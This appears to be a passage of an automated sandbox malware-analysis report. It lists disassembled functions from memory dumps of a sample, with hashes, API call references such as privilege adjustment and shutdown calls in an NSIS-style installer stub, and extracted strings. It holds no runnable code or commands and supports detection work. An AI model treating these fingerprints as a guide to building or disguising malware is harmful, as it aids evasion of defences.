Opcode Fuzzy Hash: c13e5a65fcd99141925380ea18dab6ce90635bd7794c6f344e055c31f5b4a004
Instruction Fuzzy Hash: 8FD0C9709152099BC784DBA4E805AAAB7B8AB47316F4091A9A409632509B715E10D695

Function 387AD095 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b605b3b2a0108f4df954af50c48039e880b0e4677ca2addaa2ad160472c2b4f4
Instruction ID: 9921349f732a029b8d92d473e8610b22f1ccb4705600bcc5fde7f21e5a2d7546
Opcode Fuzzy Hash: b605b3b2a0108f4df954af50c48039e880b0e4677ca2addaa2ad160472c2b4f4
Instruction Fuzzy Hash: 7FD02E2210E3C00FDB07C3382455188AF610E86100B0941FBE068CB1A28A848A8E83AA

Function 387A95D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d73e3912bebe29fbaa0a5a7f5d3feab2424eeb5b0032d5f4ef49fa78addabcf6
Instruction ID: 5d05f3feb418ea326c6035d5422c6c1206193f1dcd3302c209e337e331c1175a
Opcode Fuzzy Hash: d73e3912bebe29fbaa0a5a7f5d3feab2424eeb5b0032d5f4ef49fa78addabcf6
Instruction Fuzzy Hash: D1C01232255510075614A21CB48449F9A56CDC53617148B76A035CA2284D54998B41A4

Function 387ABD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8546dfea0a15b1e896375824c43a9b63207b4f7e6c1f6b38152db7c04fcf580
Instruction ID: a2bae85ff3e185768e4ad9fae3cb04c8aff91d4abb2eb32c8165e3ec6f6521c8
Opcode Fuzzy Hash: a8546dfea0a15b1e896375824c43a9b63207b4f7e6c1f6b38152db7c04fcf580
Instruction Fuzzy Hash: F2C08C74015E0A8BE2042FA0BC4CB79B7BAB707313FC82E10F00C028308BBC4414C654

Function 000D5710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20bfe499d98ad6730c7716840d38d25e939356e9d22bb99f46e95a9e72a40554
Instruction ID: 0584570aff50d4f0ad047522cc150fd92c2e586e19e7592905843f5779aa486d
Opcode Fuzzy Hash: 20bfe499d98ad6730c7716840d38d25e939356e9d22bb99f46e95a9e72a40554
Instruction Fuzzy Hash: EDC080300443484FC505F775DD45575B76FE7C07007408530A10506B7FDF79599A5F90

Function 387A94B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd91b53720e6d38a9dbf905cf110477a21c07bc5941ffaa75001785dd26fc653
Instruction ID: a2dd14ef0bc0099b8a547be7d30086d9f33dbb217cb246e3356824003cd1230d
Opcode Fuzzy Hash: bd91b53720e6d38a9dbf905cf110477a21c07bc5941ffaa75001785dd26fc653
Instruction Fuzzy Hash: A6C08C302A82088FD6009B1DC984A2173ACEF85B04F0018E0F208CFB3ACA26FC008605

Function 000DB2C2 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93d2d542ee93e36cbd20863abc07b11239ee418a2c50b99e6ecbaa099de01d0b
Instruction ID: d99c2bc6cc317a7c829f44589aae5dc733d39ebf1c09ee9a3b2dc3237c01612b
Opcode Fuzzy Hash: 93d2d542ee93e36cbd20863abc07b11239ee418a2c50b99e6ecbaa099de01d0b
Instruction Fuzzy Hash: 41B092A2E081C11BDF1393A0DD6D6112EC24BAA79AB1A04CE90490B0F29028C502CF02

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,00437800,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

NSIS Error, xrefs: 00403567
Error launching installer, xrefs: 004037D0
.tmp, xrefs: 00403861
SeShutdownPrivilege, xrefs: 0040396F
~nsu, xrefs: 00403845
TMP, xrefs: 00403735
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
\Temp, xrefs: 004036FF
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
TEMP, xrefs: 0040372D
Low, xrefs: 0040371B

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
, xrefs: 00405385
N, xrefs: 00405057

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,74DF2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,74DF2EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,74DF2EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,74DF2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,74DF2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 387AAFF8 Relevance: 11.7, Strings: 9, Instructions: 461COMMON

Download Yara Rule

Strings

PH^q, xrefs: 387AB62D
PH^q, xrefs: 387AB345
PH^q, xrefs: 387AB51E
PH^q, xrefs: 387AB43D
PH^q, xrefs: 387AB429
", xrefs: 387AB7CE
PH^q, xrefs: 387AB331
PH^q, xrefs: 387AB532
PH^q, xrefs: 387AB619

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: "$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q
API String ID: 0-4051960142
Opcode ID: df96991531a758b65e1a6308550c2c9078af7227d1b8124a4784d98cfbb756d2
Instruction ID: b13a15890f9622d3536622dc18c86e24b3b468554fdf431b3704496cbd390586
Opcode Fuzzy Hash: df96991531a758b65e1a6308550c2c9078af7227d1b8124a4784d98cfbb756d2
Instruction Fuzzy Hash: DA328074E01218CFDB54CF65C998B9DBBB2BF89300F1081A9D909AB365DB759E85CF20

Function 387AAFF7 Relevance: 11.6, Strings: 9, Instructions: 359COMMON

Download Yara Rule

Strings

PH^q, xrefs: 387AB62D
PH^q, xrefs: 387AB345
PH^q, xrefs: 387AB51E
PH^q, xrefs: 387AB43D
PH^q, xrefs: 387AB429
", xrefs: 387AB7CE
PH^q, xrefs: 387AB331
PH^q, xrefs: 387AB532
PH^q, xrefs: 387AB619

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: "$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q
API String ID: 0-4051960142
Opcode ID: 4894cc471658bdf02076163e90effae9fd231408368af03eecec7e8697488e8d
Instruction ID: fa2bfd1442044dbd1e1820fa6c40267e9623074280ae4400f8ea682f2df4bf86
Opcode Fuzzy Hash: 4894cc471658bdf02076163e90effae9fd231408368af03eecec7e8697488e8d
Instruction Fuzzy Hash: D7029FB4E002188FDB58CF65C994BDDBBB2BF89300F1081A9D509AB365DB759E85CF14

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00437800,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,74DF2EE0,00405B1A,?,00437800,74DF2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 387A7B4F Relevance: 1.9, Strings: 1, Instructions: 610COMMON

Download Yara Rule

Strings

.5vq, xrefs: 387A7C7B

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: .5vq
API String ID: 0-493797296
Opcode ID: cbe85eb7fd2581219109b4fde21a76acda2a3f3cd591e4c0fa59282e638e35b0
Instruction ID: 36a4c9b6be266af7b84ae3f08113e75c0be1d8f6a0078b2f5dd2afe65f16e16d
Opcode Fuzzy Hash: cbe85eb7fd2581219109b4fde21a76acda2a3f3cd591e4c0fa59282e638e35b0
Instruction Fuzzy Hash: 51628B74A01228CFDB64DF65C984BDDBBB2BB89301F1085EAD409AB355DB359E81CF50

Function 3805BD88 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa3ffca62cbfd425e7ac2cf1923482a3f99e41ac5442515b2a3ba64c1bf4ec5
Instruction ID: 63fe35f4e8beedf4030751f662c1f3ec60013a73b7c9e21f77207b3f8f3f49b3
Opcode Fuzzy Hash: 3aa3ffca62cbfd425e7ac2cf1923482a3f99e41ac5442515b2a3ba64c1bf4ec5
Instruction Fuzzy Hash: 17C19078E04218CFDB54DFA5C994B9DBBB2AF89300F2081A9D409BB365DB359A85CF50

Function 3805B930 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4c4ddac0ce14ed5236638fdfc5980a1582a391c3656ee26d3aaf5be29cfe701
Instruction ID: 424c11093baa32bed34e6c1f6d66f924eff297042960fc585dc3a8901e20ef95
Opcode Fuzzy Hash: b4c4ddac0ce14ed5236638fdfc5980a1582a391c3656ee26d3aaf5be29cfe701
Instruction Fuzzy Hash: D6C19078E01218CFDB14DFA5C994B9DBBB2BF89300F6081A9D409BB365DB359A85CF50

Function 3805DA89 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd87f976b689d2883088bb4e177271264c01041416745b7ea077fc7bc1aa7d20
Instruction ID: 47a64358d926b7a6d31981063300f6f782524746004b413f4551d93150f553fb
Opcode Fuzzy Hash: bd87f976b689d2883088bb4e177271264c01041416745b7ea077fc7bc1aa7d20
Instruction Fuzzy Hash: 43C19074E01218CFDB14DFA5C994B9DBBB2BF89300F2081AAD819BB355DB359A85CF10

Function 3805E794 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2b346780bb4f84bf00eeda483207dad311b3efa3b5450b7427704b68b446442
Instruction ID: cd34af82cc338ebfeffc96d5b7ef823d2ace61dda9fe06a41b6d1adcd617d791
Opcode Fuzzy Hash: a2b346780bb4f84bf00eeda483207dad311b3efa3b5450b7427704b68b446442
Instruction Fuzzy Hash: D2C1A074E00218CFEB54DFA5C994B9DBBB2BF89300F2080A9D409BB365DB359A85CF14

Function 3805F042 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa17aecfe39b83093980c05fb9b79a77404b01923f3b8310bcba4c8076f4b5ca
Instruction ID: ce5da7fcf99997167b999044747c7fefce0751ab5a27f2cdc6cf1855815cbd58
Opcode Fuzzy Hash: aa17aecfe39b83093980c05fb9b79a77404b01923f3b8310bcba4c8076f4b5ca
Instruction Fuzzy Hash: C2C1AF78E01218CFDB54DFA5C994B9DBBB2BF89300F6081A9D409BB365DB359A85CF10

Function 387A7070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 187749b5fe4c7cc4f8965c621d4ec845fa2f3d4d6a74165cd4126d0b0dea3529
Instruction ID: 2e478a97706f3bf70a2e7200eec07d9d6ecb151cf0022182c4d6f4b6ed66419e
Opcode Fuzzy Hash: 187749b5fe4c7cc4f8965c621d4ec845fa2f3d4d6a74165cd4126d0b0dea3529
Instruction Fuzzy Hash: 93C18F78E00218CFDB54DFA5C994B9DBBB2BF89304F2081A9D409BB365DB359A85CF50

Function 387A1858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6e5f2aa24998beda7b1c4ca1bf90674df6a263071a9e1e141838f1a50d0d59
Instruction ID: 216d26cfdbb5338fa8e3128195e7f90bd83aa04acb13ff6f0efb4b28098d0ba9
Opcode Fuzzy Hash: 9c6e5f2aa24998beda7b1c4ca1bf90674df6a263071a9e1e141838f1a50d0d59
Instruction Fuzzy Hash: 9AC19174E00218CFEB54DFA5C994B9DBBB2BF89300F2081A9D409BB355DB359A85CF54

Function 387A4820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4e3ce254ddb86eebfb6a6d6d9df5334db0ba010644ff7b1744d990efe6b72a
Instruction ID: eab059964e578d25e6e04d3e19588da29e7edd0a74e5e720efeb37bb329fd399
Opcode Fuzzy Hash: 3e4e3ce254ddb86eebfb6a6d6d9df5334db0ba010644ff7b1744d990efe6b72a
Instruction Fuzzy Hash: E2C18E78E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409BB365DB359A85CF54

Function 387A2108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb2cad271ef87c2ccdceab801d576b99da10c934b5ccad5bb3dc1763b038190e
Instruction ID: e9ba326cfadb8f10ec34bb1e001b6c01bc0f0ae0a1916a791c799e38e3957484
Opcode Fuzzy Hash: fb2cad271ef87c2ccdceab801d576b99da10c934b5ccad5bb3dc1763b038190e
Instruction Fuzzy Hash: 8CC18E78E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409BB365DB359A85CF50

Function 387A29B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

